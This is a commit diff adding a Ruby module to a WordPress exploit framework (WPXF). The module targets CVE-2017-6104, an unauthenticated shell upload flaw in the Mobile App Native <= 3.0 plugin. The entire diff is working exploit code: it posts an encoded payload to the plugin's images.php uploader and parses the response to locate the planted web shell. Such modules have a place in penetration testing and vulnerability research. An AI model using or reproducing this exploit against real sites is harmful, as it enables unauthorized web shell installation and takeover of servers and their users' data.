Add Mobile App Native <= 3.0 unauthenticated shell upload

Author: rastating

modules/exploits/mobile_app_native_v3_shell_upload.rb

@@ -0,0 +1,40 @@
+class Wpxf::Exploit::MobileAppNativeV3ShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ShellUpload
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Mobile App Native <= 3.0 Unauthenticated Shell Upload',
+      author: [
+        'Larry W. Cashdollar',            # Discovery and disclosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8743'],
+        ['CVE', '2017-6104'],
+        ['URL', 'http://www.vapidlabs.com/advisory.php?v=178']
+      ],
+      date: 'Feb 27 2017'
+    )
+  end
+
+  def check
+    :unknown
+  end
+
+  def uploader_url
+    normalize_uri(wordpress_url_plugins, 'zen-mobile-app-native', 'server', 'images.php')
+  end
+
+  def payload_body_builder
+    builder = Utility::BodyBuilder.new
+    builder.add_file_from_string('file', payload.encoded, payload_name)
+    builder
+  end
+
+  def uploaded_payload_location
+    return nil if upload_result.code != 200 || upload_result.body =~ /Ooops.*/i
+    upload_result.body.gsub(/zen-mobile-app-native\/\/server/, 'zen-mobile-app-native/server').strip
+  end
+end